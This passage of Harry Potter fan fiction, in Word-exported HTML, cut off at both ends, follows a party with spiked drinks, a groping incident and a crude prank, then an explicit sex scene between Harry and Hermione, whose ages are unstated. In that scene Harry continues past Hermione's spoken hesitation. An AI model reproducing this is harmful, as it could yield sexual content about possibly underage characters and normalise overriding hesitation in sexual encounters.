around.&#8221; Harry said wanting to take her in his arms right now\nand just prove how much he loved her, but they were surrounded by people.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione smiled,\n&#8220;Oh we&#8217;ll figure something out.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry grabbed\nHermione&#8217;s hand firmly and started pulling her towards the floor where there\nwere people dancing and twirling their dates around.&nbsp; &#8220;Come and share a dance with me.&#8221;&nbsp; He offered with a bright smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I thought you\ncouldn&#8217;t dance.&#8221; Hermione&#8217;s eyes narrowed with amusement and suspicion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I have improved\nsince fourth year Hermione,&#8221; Harry started twirling her around just to prove\nit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione was\ntwirled gracefully, she was spun around and then brought close against Harry&#8217;s\nchest without a problem.&nbsp; &#8220;Well aren&#8217;t\nyou full of surprises.&#8221; She smiled.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry nodded, &#8220;you\nhad better believe it.&#8221; He loved the feel of the velvet under his hand, it was\nso soft.&nbsp; They danced in a series of fast\npaced waltzes and finally a romantic soft and slow melody began to play.&nbsp; Harry let out a sigh of regret, he wanted to\nhold her closer but they still hadn&#8217;t told anyone about their\nrelationship.&nbsp; But perhaps tonight they\nshould.&nbsp; Harry thought.&nbsp; He hated keeping these secrets from his\nfriends and what he considered his family.&nbsp;\nIt was agreed he would talk it over with Hermione tonight, and then they\nwould both tell Ron and the others.&nbsp; He\nheld her a little bit closer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He could smell\nher heavenly strawberry scent as it tickled his nose, Harry&#8217;s eyes closed as he\njust stood there holding her, and letting the warmth of her surround him. &nbsp;&#8220;Did I ever tell you how much I love you?&#8221;\nHarry whispered into her ear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione jumped\nwas startled a bit as she didn&#8217;t know exactly when she was pulled closer to\nhim.&nbsp; Perhaps it was just natural to be\nthis close. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry quietly\nchuckled &#8220;did I scare you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione looked\nup at him, &#8220;I just didn&#8217;t notice we had gotten this close.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Sorry, I\ncouldn&#8217;t help it.&nbsp; I like being close to\nyou.&#8221; Harry bent slightly wanting to kiss her so badly, it was such a strain to\nnot be able too.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione&#8217;s heart\npounded, she wanted to feel his lips on hers and she didn&#8217;t care any more of\npeople would see.&nbsp; She wanted to shout to\nthe world she loved Harry with all her heart and soul.&nbsp; Their mouths drew closer as if pulled by a\npowerful magnet when Harry felt someone tap him on the shoulder.&nbsp; Broken out of his tender moment with Hermione\nhe was slightly irritated. Harry turned to find Ron standing there.&nbsp; &#8220;Yes Ron what is it?&#8221; He asked his voice trimmed\nwith annoyance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I was just\nwondering if I could cut in a moment.&nbsp;\nAfter all Hermione is my friend too.&#8221; Ron replied with just the same\ntone that Harry used.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry looked at\nHermione who sighed and nodded solemnly.&nbsp;\nHarry reluctantly let her go so that Ron could have his dance.&nbsp; &#8220;I&#8217;ll just be over at the refreshment table,\nI&#8217;m a bit thirsty anyway.&#8221;&nbsp;&nbsp; Harry took a\ndeep breath as he quickly made his way over to the refreshment table.&nbsp; He grabbed a glass of punch and downed it\nquickly; he grabbed another and sipped at it slowly this time. He turned and\nleaned against the table.&nbsp; It turned out\nhe had a view of Hermione and Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron smiled, &#8220;so\nare you having fun this evening?&#8221; He asked politely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes I am, how\nabout you?&#8221; She looked up, staring at him oddly; his skin color was changing\ncolors, like a rainbow. &#8220;Uh Ron, there is something wrong with you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What?&#8221; Ron\nlooked at her confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione started\nsniggering, &#8220;oh never mind.&#8221; She turned her head slightly and saw Ron&#8217;s\nbrothers Fred and George laughing and putting some kind of liquid also into\nPercy&#8217;s drink for he was not paying attention.&nbsp;\nHermione knew that the twins must have put something into Ron&#8217;s drink as\nwell.&nbsp; &#8220;Ron you know that we will always\nbe friends right, I mean no matter what happens.&#8221; She said very seriously. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I know that\nHerm, I know that.&nbsp; Friends forever right?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Right.&#8221; She\nsmiled. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron pulled her\ncloser and hugged her tightly, he and Hermione danced in small circles as she\nheld onto her friend.&nbsp; Ron turned and he\ncould see Harry, he smirked slightly as his hands slowly wandered lower, almost\nenough to where Hermione couldn&#8217;t feel a thing.&nbsp;\nRon caught Harry&#8217;s eye, he was looking at him oddly.&nbsp; Ron&#8217;s hands wandered lower where they were\npressed against her rear end as he looked right at Harry.&nbsp; Harry was squeezing the glass so hard that it\nlooked like it was going to break.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione&#8217;s eyes\nwidened in shock as she felt his hands on her bottom, but were then quickly\nremoved and back up around her waste.&nbsp;\nShe shook her head, thinking that was probably an accident, those things\nhappen all the time, right?&nbsp; She suddenly\ndidn&#8217;t feel too comfortable around Ron. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred and George\nwere in the kitchen as they grabbed a squeeze bottle of mayonnaise. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Did you see\nthat? Ron got his cheap feel.&#8221; Fred said in disappointment.&nbsp; &#8220;He wasn&#8217;t supposed to get anything on his\nplan right.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I agree brother;\nwe have to make him suffer now.&#8221; George said squeezing a little water in it to\nmake it look milky white. &#8220;This should do it.&#8221; He placed a lid on the\ncontainer.&nbsp; A blonde in a short, tight\ndress walked into the kitchen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Um they are out\nof drinks, do you know where we can get more?&#8221; She asked with a flip of her\nhair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred stepped up\nto the blonde, &#8220;Oh we can help you, if you help us.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The blonde\nsmiled, &#8220;what would you like me to do?&#8221; She asked seductively.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">George told the girl\nthe plan, she started giggling. &#8220;Do you have one?&#8221; He asked pulling back from\nher, the blonde nodded. &#8220;Okay give it to me.&#8221;&nbsp;\nGeorge watched her digging into her red purse and pulled out a small\npackage handing it to him.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred and George\nboth smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">As George\ncontinued with the plan, Fred spoke to the blonde</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp; &#8220;Now you have to appear totally serious.&#8221;\nFred said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh I&#8217;m a good\nactress, you can count on me.&#8221; She said with a smile.&nbsp; George handed her the container and she winked\nat the twins and went about to take care of business. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp; While still dancing with Ron, Hermione saw a\nblonde girl in tight, short red dress coming their way; she was holding a\ncontainer in her hand.&nbsp; The blonde looked\nangry and sad at the same time.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;So this is what\nyou have left me for?&#8221; The blonde said, her eyes brimming with fire.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What? Who are\nyou?&#8221; Ron said completely confused, he stopped dancing and stepped back from\nHermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh now you don&#8217;t\nknow who I am, is that the game you&#8217;ve been playing.&nbsp; You gave me the best experience of my life\nand this is how you treat me after.&nbsp; I\nshould have known.&#8221; The blonde said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Look I have no\nidea who you are, honestly I don&#8217;t.&#8221; Ron said as he looked down at Hermione who\nappeared just as confused as he was.&nbsp;\n&#8220;You believe me don&#8217;t you Hermione, I don&#8217;t know who this girl is.&#8221; He\nnoticed he was getting quite the audience, people were staring at them.&nbsp; He was very nervous.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well fine, if\nthat&#8217;s how you want it to be.&#8221; The blonde opened the container, &#8220;Here sweetie\nyou left this over at my flat.&#8221; She shoved the container into his outstretched\nhand and turned fleeing the scene.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron saw what\nlooked like a muggle condom but it look used and there was some milky looking\nsubstance around it and on it.&nbsp; He felt\nill.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione looked\nat Ron in bitter anger, &#8220;Oh Ron that is so disgusting, how could you treat that\ngirl so callously?&nbsp; You sleep with her\nand then treat her like that?!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hermione I have\nnever seen that girl a day in my life, I most certainly didn&#8217;t sleep with her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh really, the\nproof is staring me in the face how dare you deny it.&#8221; Hermione turned and\nwalked from him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;But I didn&#8217;t&#8230;&#8221;\nRon felt two hands pat his shoulders; he turned to find his brother&#8217;s Fred and\nGeorge laughing.&nbsp; He turned around to\nface them. &#8220;Why are you this to me, first the fairies now these pranks and what\nwas this?&nbsp; That wasn&#8217;t funny. That was\nstupid.&#8221; Ron was glaring he was so mad he looked like he would explode.&nbsp; &#8220;Why are you tormenting me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Two words smart\nass. &#8216;Ron&#8217;s Plan&#8217;.&#8221; Fred answered with a grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron&#8217;s eyes\nwidened, <i style="mso-bidi-font-style:normal">&#8216;They know.&#8217;</i> </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;That&#8217;s right\ndear brother, we know.&nbsp; We know of your\nso called plan.&nbsp; Now that is\nstupid.&#8221;&nbsp; George said.&nbsp; &#8220;It&#8217;s fun to play with you Ron, you are just\nso easy.&#8221; Both Fred and George walked away from Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The crowd started\ngathering around Percy for some reason he was dancing the Can-Can and singing\nat the top of his lungs.&nbsp; There were\nthree fairies flying around him sprinkling him with a pink colored dust causing\nhim to take form of the now dead singer Elvis Presley along with the full hip\nmovements.&nbsp; He was in the middle of a\nmedley of &#8216;The King&#8217;s&#8217; greatest hits.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron spotted the\nfairies as he glared at them, <i style="mso-bidi-font-style:normal">&#8216;well at\nleast they aren&#8217;t picking on me this time.&#8217; </i>&nbsp;His thoughts were interrupted as the fairies\ncame towards him; he took off running from them.&nbsp; The fairies cornered him and started giggling\nmaniacally.&nbsp; They threw some orange dust\non him which caused him to hear &#8216;Stayin&#8217; Alive&#8217; by the BeeGees(A/N: Hope I\nspelled their name right) and start dancing like John Travolta from Saturday\nNight Fever.&nbsp;&nbsp; The fairies giggled and\ndarted away.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The twins by now\nwere practically rolling around on the floor in fits of laughter, the saw their\nmother glaring at them. The twins looked at each other <i style="mso-bidi-font-style:\nnormal">&#8216;uh-oh&#8217;</i> they thought at the same time and took off in a run as Mrs.\nWeasley came after them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry was walking\nthrough the house when he found Hermione coming towards him.&nbsp; He went right up to her and took her\nhand.&nbsp; &#8220;We have to talk.&#8221;&nbsp; He said very seriously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What&#8217;s\nwrong?&#8221;&nbsp; Hermione was concerned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry glanced\naround the hall; he brought her to a door and opened it.&nbsp; They stepped inside the room, and the lights\nautomatically lit up.&nbsp; They were in a\nbathroom.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What are we\ndoing in here?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Why did you let\nRon grab your&#8230; ass?&#8221; He asked with his arms folded across his chest.&nbsp; He hated this feeling of jealousy he had.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;It was just an\naccident.&#8221; She answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">His angry jealous\nfeelings subsided; she was confused as well he could see it in her eyes. &#8220;I&#8217;m not\nso sure about that.&#8221; Harry leaned against the counter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well I don&#8217;t\nthink he meant to grab my butt.&#8221; She glanced around, &#8220;but then again I&#8217;m not\nreally sure either.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I&#8217;m gonna go\ntalk to him.&#8221; Harry said as he straightened and headed towards the door.&nbsp; Hermione quickly grabbed his arm.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Harry no,\ndon&#8217;t.&nbsp; It was probably an accident and\nI&#8217;m sure he&#8217;s embarrassed enough as it is. You don&#8217;t want to go and make it\nworse for him do you?&#8221; Hermione had a pleading look in her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;But I don&#8217;t\nthink&#8212;&#8221; He was cut off in mid sentence seeing her looking concerned that they\nwere making assumptions, when they didn&#8217;t have all the facts.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Alright, I won&#8217;t\ngo talk to him.&#8221; He shook his head with a smile, &#8220;You know you can make me do\njust about anything.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;It&#8217;s just I\ndon&#8217;t want to assume anything when it comes to Ron, he&#8217;s been acting very odd\nlately.&nbsp; In fact he&#8217;s probably looking\nfor us.&#8221; Hermione reached for the doorknob but Harry quickly grabbed her wrist.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh Hermione we\ndon&#8217;t have to rush off to meet Ron so quickly, we finally have a moment alone\nwithout busybodies crowding over us.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She looked up at\nhim, &#8220;Whatever you are thinking about you can just forget it.&#8221; Hermione was\nfirm &#8220;This is a bathroom for heaven sakes, it&#8217;s someone else&#8217;s house at that.&#8221;\nShe reminded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;He moved so that she was standing with her\nback to the door &#8220;I don&#8217;t care if it was a prison cell in Azkaban.&#8221; Harry\nsmiled, &#8220;As long as we are together why should it matter where we spend our\ntime?&#8221;&nbsp; He wrapped his arms around her\ndrawing her closer.&nbsp; Harry leaned his\nforehead against hers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;It doesn&#8217;t\nmatter.&#8221; She answered quietly.&nbsp; Hermione\nclosed her eyes simply enjoying the closeness.&nbsp;\nShe felt the soft touch of his lips, hers parted.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He was kissing\nher full and deep pulling her away from the door and up against him; Harry\nheard her moan and her arms wrapped around his neck pulling him even more\nagainst her. He groaned feeling him pressed against the soft of her body, one\nhand slid down her back and her arms tightened feeling his hand cradle her\nbottom.&nbsp; She let out another moan as\nintoxicating as the last one making Harry kiss her harder, his tongue stroking\nhard against hers hungrily, wanting to taste her mouth, her lips. Drowning in\nthe essence of the passion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry wanted to\nfeel more then just her gown under his hands; he slowly lifted his hand against\nthe back of her dress and found the zipper.&nbsp;\nHe started pulling it down so that her back was exposed to the air and\nhis heated touch.&nbsp; Harry&#8217;s hand was on\nher back and to his great surprise she wasn&#8217;t wearing a brassier not even a\nstrapless one.&nbsp; He groaned louder pushing\nher up against the counter. He pulled his mouth from hers, glancing about her\nface.&nbsp; Her eyes were still closed and\nthey fluttered open.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione looked\nup at him confused, &#8220;why did you stop?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I don&#8217;t know if\nyou wanted more or not.&#8221; He tried to control the fast beating of his heart.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Her hands\nflattened against his chest, &#8220;I want more, I want all of you.&#8221; She kissed his\njaw.&nbsp; Her lips gliding down her neck\nwhere she undid the first few buttons of his shirt, she felt his hands on her\nbare back, and slide down.&nbsp; There was\nthat material, as much as he liked the velvet he would much rather feel her.\nHis arms went around her waist where he lifted her and sat her on the counter. &nbsp;Hermione helped him rid her of the gown as it\nwas tough to get into, it was tough to get out off.&nbsp; Harry started tugging on it really hard,\nwhich caused Hermione to laugh for the darn thing wasn&#8217;t budging.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Finally the\nmaterial gave way and was thrown to the floor.&nbsp;\nShe stood up off the counter, where all that she was wearing was her\nblack panties, which were a bit sheer and were made of a soft material.&nbsp; Hermione grabbed him by the shirt and pulled\nhim against her.&nbsp; Her fingers quickly\nwent to the belt of his slacks where she started to undo the clasp.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Eager are we?&#8221;\nHarry teased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well unless you\ndon&#8217;t want&#8212;&#8221; She was cut off by his mouth taking hers, he pulled back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh I want to\nalright.&#8221; Keeping his heated intense on her, Harry lifted her and lowered her\nto the floor which wasn&#8217;t as cold as it looked.&nbsp;\nHe settled himself over her, Harry felt her tugging at the waistband of\nhis slacks.&nbsp; &#8220;What?&#8221; He looked down at\nher innocently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What do you\nthink, I want them off.&#8221; She smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He smirked, &#8220;As\nyou wish.&#8221; He leaned down and kissed her full on the mouth, the tip of his\ntongue lightly stroking against her lips wanting in.&nbsp; She opened and his tongue thrust inside her\nmouth coming together with hers.&nbsp; Her\nheart fluttered as he teased her mouth slowly, gently giving her just enough\nthen pulling back.&nbsp; She groaned in\nfrustration when he lifted himself up over her.&nbsp;\nHe searched her eyes, and gave her a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry kissed her\nagain, slowly and lovingly his fingers caressed the upper curves of her breasts\nand then lower, his fingers lightly trailed over the hardening tips.&nbsp; Her breathing increased, her heart\nraced.&nbsp; She loved the feel of his hands\non her.&nbsp; Hermione gasped loudly into his\nmouth where he drank in the beautiful sound.&nbsp;\nHis hands moved, his palms slightly possessive covered over the soft\nmounds as he was rewarded with another soft moan of delight and want. Harry\nremembered that they were in a bathroom, he sure hoped no one had to use it. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hermione, as\nmuch as I would love to take my time and worship you, as you truly deserve we\nare in a bathroom.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You had better\nnot stop, or else I would be very upset.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;But what about&#8212;&#8221;\nHe was cut off as she brought his mouth down to hers and kissed him.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione pushed\nagainst him, &#8220;then we&#8217;ll just have to hurry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nbackground:white">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry didn&#8217;t like hurrying, &#8220;That&#8217;s just\nnot right, we should really wait.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She sighed with\ndisappointment, &#8220;Alright, you seem to know what&#8217;s best.&#8221; Hermione smiled and\ntried to get up but he pushed her back down on the floor, she was\nconfused.&nbsp; &#8220;What are you doing?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;This.&#8221; His hand\nwas between her thighs, and his finger stroked against her opening and he heard\nHermione&#8217;s loud cry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What&#8212;what are\nyou doing?&#8221; She was breathless, &#8220;I thought you said.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I did say that,\nbut I&#8217;ve been dying to touch you all night.&#8221; His breathing was hard while he\ncontinued to stroke and caress her.&nbsp;\nHarry&#8217;s lips touched the side of her neck, and his finger pressed inside\nher, she gave out a soft squeak.&nbsp; His lips\nwandered down the&nbsp; length of her\nbody.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She lifted\nherself up a little as Harry slipped off her panties, &#8220;Harry, I&#8212;don&#8217;t\nthink&#8212;this is&#8212;&#8221; Hermione saw him lift his head looking up at her.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Shhh.&#8221; He said\nwith a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione didn&#8217;t\nreally have any control over her body as she felt his fingers thrusting in and\nout of her, in quick, almost graceful motions.&nbsp;\nHermione pressed herself down against the floor as she felt his fingers\nmove from her body, only to be replaced by a gentle flick of his tongue.&nbsp; &#8220;Oh God.&#8221; She breathed out.&nbsp; &#8220;Harry, please I want you, not this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry pulled\nback, he lost it.&nbsp; Her begging him like\nthat would get her just about whatever she wanted.&nbsp; And she wanted him.&nbsp; He quickly removed his clothing and he\npositioned himself against her entrance.&nbsp;\n&#8220;Are you sure this is what you want?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes, please.&#8221;\nShe answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He pushed himself\ninside her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry&#8217;s eyes\nclosed, he was already deep within her. Thrusting and pressing more and more\ninto her soft snug body.&nbsp; He moaned\nloudly feeling her meeting his rhythm eagerly, desperately.&nbsp; She lifted her legs and wrapped them tightly\naround him, and Harry moaned again at the sensations, the hot feelings running\nthough him.&nbsp; Harder he thrust into her,\nmaking her shift and shake with pleasure in passion he filled her\ncompletely.&nbsp; He bent and kissed her hard,\nso hard he was worried if 